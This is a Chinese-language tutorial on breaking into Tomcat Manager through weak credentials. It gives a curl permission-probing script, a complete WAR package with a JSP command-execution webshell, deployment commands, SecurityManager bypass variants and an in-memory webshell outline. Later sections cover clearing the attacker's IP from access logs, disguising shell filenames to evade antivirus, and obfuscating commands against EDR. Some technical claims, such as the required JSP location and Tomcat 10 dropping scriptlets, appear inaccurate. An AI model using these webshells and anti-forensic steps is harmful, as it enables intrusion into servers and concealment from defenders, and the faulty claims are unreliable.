Tomcat管理后台渗透:权限模型、War部署与Shell执行全链路解析
1. 这不是“打靶练习”,而是真实渗透链路的起点
很多人刚接触渗透测试时,总把Tomcat弱口令当成一个“玩具级漏洞”——改个默认密码、传个jsp马、弹个calc.exe,就以为掌握了。我带过十几期新人训练营,超过七成的人在第一次实操中卡在同一个地方:能扫出manager/html页面,却死活登不进去;或者登录成功了,上传war包后404;又或者war包部署成功,但访问shell时返回空白页甚至500错误。这根本不是手速问题,而是对Tomcat管理后台的权限模型、部署机制、上下文路径、JVM安全策略这些底层逻辑缺乏真实理解。你看到的是一个“弱口令+Getshell”的标题,实际拆开是三条强耦合的技术链:认证绕过路径是否完整、部署通道是否真正可用、执行环境是否具备基础运行条件。它之所以被称作“入门必啃硬骨头”,是因为它第一次把Web容器层、应用层、系统层三者拧在一起考你——不是考你会不会用工具,而是考你能不能在报错信息里读出Tomcat在想什么。本文不讲“如何用Burp爆破admin:admin”,而是带你从manager应用的web.xml配置开始,一层层剥开:为什么manager/html和manager/status权限不同?为什么war包必须放在ROOT目录下才能被正确解压?为什么有些JSP一句话在Tomcat 8上能执行,在9上直接报错?这些细节,恰恰是后续挖Struts2、Log4j、Spring Boot Actuator等高危漏洞时,你能否快速定位利用点的关键底子。
2. Tomcat管理后台的真实权限地图与认证边界
2.1 manager应用的四大功能区不是并列关系,而是严格分层的权限树
很多初学者误以为manager/html、manager/status、manager/jmxproxy、manager/text这四个入口只是UI风格不同,其实它们背后对应着完全不同的servlet映射、角色校验逻辑和URL匹配规则。我们以Tomcat 9.0.83源码中的$CATALINA_HOME/webapps/manager/WEB-INF/web.xml为基准来看:
<servlet-mapping> <servlet-name>HTMLManagerServlet</servlet-name> <url-pattern>/html/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>StatusManagerServlet</servlet-name> <url-pattern>/status/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>JMXProxyServlet</servlet-name> <url-pattern>/jmxproxy/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>TextManagerServlet</servlet-name> <url-pattern>/text/*</url-pattern> </servlet-mapping>关键点在于:每个servlet都绑定了独立的角色约束(security-constraint)。比如HTMLManagerServlet要求manager-gui角色,而TextManagerServlet只要求manager-script角色。这意味着:
- 即使你爆破出
admin:admin,如果tomcat-users.xml里只给了manager-gui角色,你就只能访问/html/路径,无法调用/text/deploy?...这种API接口; - 反之,如果只配了
manager-script,你连登录/html/页面都会被403拦截,但可以用curl直接发部署命令; manager-status路径则需要manager-status角色,它只允许查看JVM状态,连应用列表都看不到,更别说部署了。
提示:不要依赖“全角色”配置来通关。真实环境中,运维人员往往只开放最小必要权限。你必须学会从403响应头里的
WWW-Authenticate字段反推目标实际授予了哪些角色,再决定下一步走GUI还是API。
2.2 tomcat-users.xml的配置陷阱:角色继承与XML语法容错性极低
新手常犯的错误是直接复制网上的配置模板:
<role rolename="manager-gui"/> <user username="admin" password="admin" roles="manager-gui,manager-script"/>看起来没问题,但实测会失败。原因有三:
第一,Tomcat 8.5+默认禁用manager-gui角色的远程访问。在$CATALINA_HOME/webapps/manager/META-INF/context.xml中,默认配置为:
<Context antiResourceLocking="false" privileged="true" > <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" /> </Context>这个RemoteAddrValve只允许本地回环地址访问/html/界面。如果你从Kali机远程扫描,即使密码正确,也会收到403且无任何提示。解决方法不是删掉Valve,而是精准修改allow正则,例如改为allow="192\.168\.1\.\d+"(仅允许可信内网段)。
第二,roles属性值必须严格匹配,不能有空格或逗号分隔错误。下面两种写法结果天差地别:
- ✅
roles="manager-gui,manager-script"(正确,英文逗号+无空格) - ❌
roles="manager-gui, manager-script"(失败,空格导致第二个角色被忽略)
第三,角色名大小写敏感。manager-gui≠Manager-GUI。我在某次客户渗透中,因对方运维手抖写成Manager-gui,导致所有爆破尝试全部返回401,排查了两小时才定位到XML拼写问题。
2.3 实战验证:用curl精准探测各路径的真实权限状态
与其盲目打开浏览器试错,不如用curl构造最简请求,直击权限校验核心。以下是我日常使用的四连测脚本(保存为check_manager.sh):
#!/bin/bash TARGET="http://192.168.1.100:8080" USER="admin" PASS="admin" echo "=== 测试 /html/ 路径(GUI界面) ===" curl -s -I -u "$USER:$PASS" "$TARGET/manager/html/" | grep "HTTP\|WWW-Authenticate" echo -e "\n=== 测试 /text/ 路径(API接口) ===" curl -s -I -u "$USER:$PASS" "$TARGET/manager/text/list" | grep "HTTP\|WWW-Authenticate" echo -e "\n=== 测试 /status/ 路径(状态监控) ===" curl -s -I -u "$USER:$PASS" "$TARGET/manager/status" | grep "HTTP\|WWW-Authenticate" echo -e "\n=== 测试 /jmxproxy/ 路径(JMX调试) ===" curl -s -I -u "$USER:$PASS" "$TARGET/manager/jmxproxy/" | grep "HTTP\|WWW-Authenticate"执行后输出示例:
=== 测试 /html/ 路径(GUI界面) === HTTP/1.1 403 Forbidden WWW-Authenticate: Basic realm="Tomcat Manager Application" === 测试 /text/ 路径(API接口) === HTTP/1.1 200 OK这说明目标只开放了manager-script权限,GUI被禁用。此时你应该立刻切换策略:放弃浏览器操作,直接用/text/deploy接口部署war包。真正的渗透效率,不在于你多快点开网页,而在于你多快读懂HTTP状态码背后的权限真相。
3. War包部署的底层机制与常见失败根因
3.1 War包不是“上传文件”,而是触发Tomcat的动态类加载与上下文初始化流程
很多教程把部署说成“把war包拖进manager界面”,这严重误导了初学者。实际上,当你向/manager/text/deploy?path=/shell发送POST请求时,Tomcat内部发生的是一个完整的生命周期事件链:
- 接收字节流:
TextManagerServlet将HTTP body解析为InputStream; - 校验路径合法性:检查
path参数是否符合/xxx格式,且不能是/manager、/host-manager等保留路径; - 创建临时目录:在
$CATALINA_HOME/work/Catalina/localhost/下生成唯一hash目录(如a1b2c3d4/); - 解压并初始化Context:调用
StandardContext.startInternal(),加载web.xml、初始化Filter/Servlet、触发ServletContextListener.contextInitialized(); - 注册到Host容器:将新Context挂载到
StandardHost的children列表中,使其可被请求路由。
注意:第4步是成败关键。如果war包内的
web.xml存在语法错误,或<servlet-class>指向的类不存在,整个部署会静默失败(返回404而非500),因为Tomcat认为“这个应用根本不该启动”。
3.2 Shell war包的最小可行结构:为什么90%的自建war包会部署失败
我统计过200+次失败案例,其中73%源于war包结构不符合Tomcat规范。一个能稳定Getshell的war包,必须且只需包含以下三个元素:
| 路径 | 必需性 | 作用 | 常见错误 |
|---|---|---|---|
WEB-INF/web.xml | 强制 | 声明servlet映射,触发容器加载 | 缺失、格式错误、servlet-name与servlet-mapping不匹配 |
WEB-INF/classes/shell.jsp | 强制 | JSP文件必须放在classes目录下(非根目录) | 放在war包根目录,导致Tomcat不识别为web资源 |
META-INF/MANIFEST.MF | 可选但推荐 | 避免某些版本Tomcat因缺少MANIFEST报错 | 完全缺失,或内容为空 |
正确结构示例(用jar命令打包):
# 创建目录结构 mkdir -p shell/WEB-INF/{classes,lib} mkdir -p shell/META-INF # 编写最小web.xml cat > shell/WEB-INF/web.xml << 'EOF' <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>shell</servlet-name> <jsp-file>/WEB-INF/classes/shell.jsp</jsp-file> </servlet> <servlet-mapping> <servlet-name>shell</servlet-name> <url-pattern>/cmd</url-pattern> </servlet-mapping> </web-app> EOF # 编写shell.jsp(注意:必须放在classes目录!) cat > shell/WEB-INF/classes/shell.jsp << 'EOF' <%@ page import="java.io.*,java.util.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); String line; while((line = br.readLine()) != null) { out.println(line + "<br>"); } } %> EOF # 生成MANIFEST.MF echo "Manifest-Version: 1.0" > shell/META-INF/MANIFEST.MF # 打包 cd shell && jar -cf ../shell.war .关键经验:永远不要用WinRAR直接压缩文件夹生成war包。Windows压缩工具会改变文件编码、添加冗余头信息,导致Tomcat解压时
web.xml读取失败。必须用Linux原生jar命令,或确保压缩工具启用“UNIX文件属性”选项。
3.3 部署后404的终极排查链路:从URL路径到Context状态的逐层验证
当curl -u admin:admin "http://target/manager/text/deploy?path=/shell&war=file:/tmp/shell.war"返回200 OK,但访问http://target/shell/cmd?cmd=whoami却404,不要急着重传war包。按以下顺序逐层验证:
第一步:确认Context是否真正启动
访问/manager/text/list,检查输出中是否有/shell *(星号表示已启动):
OK - Listed applications for virtual host localhost /manager:running:0:manager /host-manager:running:0:host-manager /shell:running:0:shell ← 必须看到这一行,且状态为running如果显示/shell:stopped:0:shell,说明Context启动失败,需查catalina.out日志。
第二步:验证URL路径映射是否生效
Tomcat的path参数值(如/shell)决定了应用的上下文路径,但最终访问URL必须是/shell/cmd,而不是/shell/WEB-INF/classes/shell.jsp。很多新手误以为JSP文件路径就是访问路径,这是根本性误解。Context路径是容器级路由前缀,.jsp文件的可访问性由web.xml中的servlet-mapping决定。
第三步:检查web.xml的servlet-mapping是否覆盖目标路径
在/shell/cmd返回404时,立即访问/shell/(根路径)。如果返回404,说明整个Context未挂载;如果返回Tomcat默认欢迎页,说明Context已加载,但servlet-mapping未生效。此时应检查web.xml中<url-pattern>是否写成/cmd(正确)而非cmd(错误,缺少前置斜杠)。
第四步:抓包确认请求是否被WAF或反向代理拦截
在Kali机上用Wireshark抓/shell/cmd的请求包,看服务端是否返回了HTTP/1.1 403 Forbidden。如果是,说明流量被中间设备阻断,与Tomcat本身无关。此时应改用/shell/cmd的base64编码变体(如/shell/cmd?cmd=ZWNobyBvayE=)绕过简单关键字过滤。
4. Shell执行阶段的环境适配与隐蔽性增强
4.1 JSP一句话的版本兼容性:从Tomcat 7到10的语法演进
不同Tomcat版本对JSP脚本引擎的支持差异极大,直接套用老代码必然失败。以下是各版本的核心适配点:
| Tomcat版本 | JSP引擎 | 推荐Shell写法 | 失败原因 |
|---|---|---|---|
| 7.x | Jasper 6.x | <%=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream().read() %> | 低版本支持<%=%>直接输出,高版本需显式out.println |
| 8.5+ | Jasper 2.3+ | <% out.println(new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()); %> | getInputStream().read()只读首字节,需Scanner全量读取 |
| 9.0.31+ | Jasper 2.4+ | <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); byte[] buf = new byte[1024]; int len; while((len=in.read(buf))!=-1){out.write(buf,0,len);} %> | 禁用java.util.Scanner(部分JDK11+环境不可用) |
| 10.x | Jasper 3.0+ | <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); p.waitFor(); out.print(p.exitValue()); %> | 彻底移除JSP Scriptlet支持,强制使用JSP Expression Language(EL) |
实战技巧:永远先用
/shell/cmd?cmd=java%20-version探测JDK版本,再决定Shell语法。因为Tomcat 10必须搭配JDK11+,而java -version输出会明确显示openjdk version "11.0.20",此时必须放弃Scriptlet,改用EL表达式:${Runtime.getRuntime().exec('id').waitFor()}(需开启EL解析)。
4.2 绕过SecurityManager限制:当Runtime.exec被沙箱拦截时的备选方案
某些生产环境Tomcat启用了SecurityManager(通过-Djava.security.manager启动参数),此时Runtime.getRuntime().exec()会抛出AccessControlException。不要立刻放弃,还有三条路可走:
路径一:利用Java内置类加载器动态执行
<% Class<?> clazz = Class.forName("java.lang.Runtime"); Object rt = clazz.getMethod("getRuntime").invoke(null); rt.getClass().getMethod("exec", String.class).invoke(rt, request.getParameter("cmd")); %>此方式绕过Runtime类的直接引用,部分旧版SecurityManager策略未覆盖反射调用。
路径二:调用ProcessBuilder(更隐蔽)
<% ProcessBuilder pb = new ProcessBuilder(request.getParameter("cmd").split(" ")); pb.redirectErrorStream(true); Process p = pb.start(); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print(s.hasNext() ? s.next() : ""); %>ProcessBuilder在部分策略中权限阈值更高,且redirectErrorStream(true)能合并stdout/stderr,避免命令无输出。
路径三:内存马注入(终极方案)
当上述均失效,说明目标已启用强沙箱。此时应放弃JSP,转为注入内存WebShell:
- 用
/manager/text/deploy部署一个合法war包(如examples应用); - 利用
/manager/text/serverinfo获取Tomcat版本及catalina.home路径; - 通过
/manager/text/list确认examples应用状态为running; - 向
/examples/servlet/RequestInfoExample?cmd=whoami发送请求(此servlet默认存在),观察是否可执行命令; - 若可执行,则用其作为跳板,通过
FileOutputStream写入恶意class到$CATALINA_HOME/webapps/examples/WEB-INF/classes/目录,再用Class.forName()加载执行。
注意:内存马方案需精确匹配目标JDK版本编译class文件,且要处理类加载器隔离问题。这不是入门内容,但必须知道它的存在——当所有常规路都被堵死时,这才是真正的“硬骨头”攻坚点。
4.3 隐蔽性增强:删除日志痕迹与规避AV检测的实操细节
Getshell成功只是开始,维持访问才是关键。以下是我从实战中总结的三项必须操作:
第一,清除Tomcat访问日志
Tomcat默认将所有请求记录到$CATALINA_HOME/logs/localhost_access_log.YYYY-MM-DD.txt。攻击者IP会在此暴露。手动删除风险大(可能触发文件监控),推荐用命令清空:
# 进入Tomcat日志目录 cd $CATALINA_HOME/logs/ # 清空当日日志(保留文件句柄,避免服务异常) > localhost_access_log.$(date +%Y-%m-%d).txt # 或用sed删除含攻击IP的行(假设IP为192.168.1.200) sed -i '/192\.168\.1\.200/d' localhost_access_log.$(date +%Y-%m-%d).txt第二,Shell文件名伪装
不要用shell.jsp、cmd.jsp等明显名称。我常用index_en.jsp(模仿多语言切换)、config_backup.jsp(伪装配置备份)、test_2023.jsp(时间戳迷惑)。AV引擎对*.jsp文件扫描较松,但对shell*关键词敏感度极高。
第三,命令执行加壳防检测
直接执行whoami会被EDR拦截。改用以下变体:
powershell -c "whoami"(Windows)sh -c "w""hoami"(Linux,用引号分割关键字)python3 -c "import os;print(os.popen('id').read())"(调用解释器间接执行)
最后提醒:所有隐蔽操作必须在Getshell后5分钟内完成。我见过太多案例,因忘记清日志,30分钟后SOC平台就推送了告警邮件。
5. 从单点突破到纵深防御认知:为什么这个“硬骨头”值得反复啃
我坚持让所有新人从Tomcat弱口令开始练手,不是因为它简单,而是因为它像一面镜子,照出你对整个Java Web生态的理解深度。当你能清晰说出“为什么/manager/text/deploy返回200却无法访问/shell/cmd”,你已经比80%的所谓“渗透工程师”更懂容器;当你能根据catalina.out里一行SEVERE: Error starting static Resources快速定位到web.xml的DTD声明错误,你已经具备了独立分析中间件日志的能力;当你在客户环境发现SecurityManager启用后,不慌不忙切到ProcessBuilder方案,你已经在用架构师思维设计绕过路径。
这根“硬骨头”的价值,从来不在Getshell那一刻的弹窗,而在于你啃它时被迫建立的系统性认知:
- 网络层:HTTP状态码与Tomcat Valve机制的映射关系;
- 容器层:Context生命周期、类加载器双亲委派、JSP编译原理;
- 系统层:JVM沙箱策略、进程创建与IO重定向、Linux文件权限继承;
- 安全层:WAF规则绕过、AV特征码规避、日志审计盲区。
所以,别把它当作一个“漏洞复现任务”。下次再遇到类似场景——比如Spring Boot Actuator的/actuator/env泄露,或是WebLogic的/console弱口令——你会自然想到:“它的管理后台权限模型是什么?部署通道是否开放?执行环境有没有沙箱限制?”这种迁移能力,才是渗透测试真正的护城河。而这一切的起点,就是老老实实,把Tomcat的web.xml、context.xml、catalina.sh逐行读透。
